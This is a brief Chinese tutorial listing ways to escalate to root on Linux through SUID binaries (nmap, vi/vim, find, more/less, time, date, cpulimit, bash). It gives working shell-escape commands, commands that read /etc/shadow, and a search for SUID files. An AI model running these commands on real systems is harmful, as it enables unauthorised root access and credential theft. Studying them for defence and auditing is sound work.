带有SUID权限位的提权方法
在Linux中有几个文件,一旦具备suid权限位,将可以被用来进行提权,分别是:Nmap Vi Vim find More Less
一、nmap
nmap在2.02-5.21之间的版本存在一个交互模式,这个模式允许用户执行shell命令,具体操作方式如下
1、首先进入交互模式
msfadmin@metasploitable:$nmap --interactive
nmap>
2、通过交互模式进入shell:输入!sh
nmap>!sh sh-3.2#
*新版本nmap可以用nmap本身支持的nse脚本进行辅助提权(这里获取的root shell,输入命令时可能不显示,盲操作即可)
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
test@vuln~$ echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-20 21:30 CDT # uid=0(root) gid=0(root) groups=0(root)
二、Vi
1、启动Vi在命令模式输入以下内容
:!sh
sh-3.2#
这样可以直接进入root权限的shell模式
三、Vim
1、启动Vim在命令模式下输入以下内容
:set shell=/bin/sh :shell
这样就可以直接进入root权限的shell模式
四、find
find命令有一个-exec参数,这个参数用于:“当找到对应的文件后,执行一个系统命令进行处理该文件”,可以被用来进行提权
test@test:$touch test #确保可以找到该文件 test@test:$find test -exec "/bin/sh" \; root@test:#
五、more/less
more和less可以被用来进行提权的一个重要因素在于可以从这两个命令里进入vim/vi模式
1、先通过more打开一个文件
test@test:$more testfile
2、这个时候可以按一下键盘上的 ‘v’,便可以调用Vim/Vi进入编辑模式,这个时候就可以通过vim进行提权,全程都是root权限:命令模式下输入“!sh”就可以获取一个root的shell。参考第二、三条
六、time
/usr/bin/time命令可以用来查看程序执行时间,可以通过time命令来启动进程,因此当time命令具有suid位时,可以获得euid为root的权限,euid=0可以查看所有归属于root的文件
/usr/bin/time cat /etc/shadow /usr/bin/time whoami ……
但是没法通过执行bash来获取uid=0的root权限
七、date
/usr/bin/date命令可以用来查看当前系统时间,同时date也可以通过-f参数来读取文件。所以当date有suid位时,可以用来读取root权限的文件,比如/etc/shadow
/usr/bin/date -f /etc/shadow
八、cpulimit
cpulimit -l 100 -f -- /bin/sh -p
九、bash
bash -p
*有suid位的bash提权时必须加上-p参数,带其他参数或不加参数无法提权,因为只有管道会继承euid位
利用方法:
1、查找当前机器中带有suid、sgid位的命令
$:find / -perm /4000 -uid 目标uid -gid 目标gid 2>/dev/null |xargs ls -l
该命令可以列出所有suid和sgid位的命令
2、提权利用
查看是否有上述可用的提权命令或者系统中其他可利用命令,运行即可提权到响应权限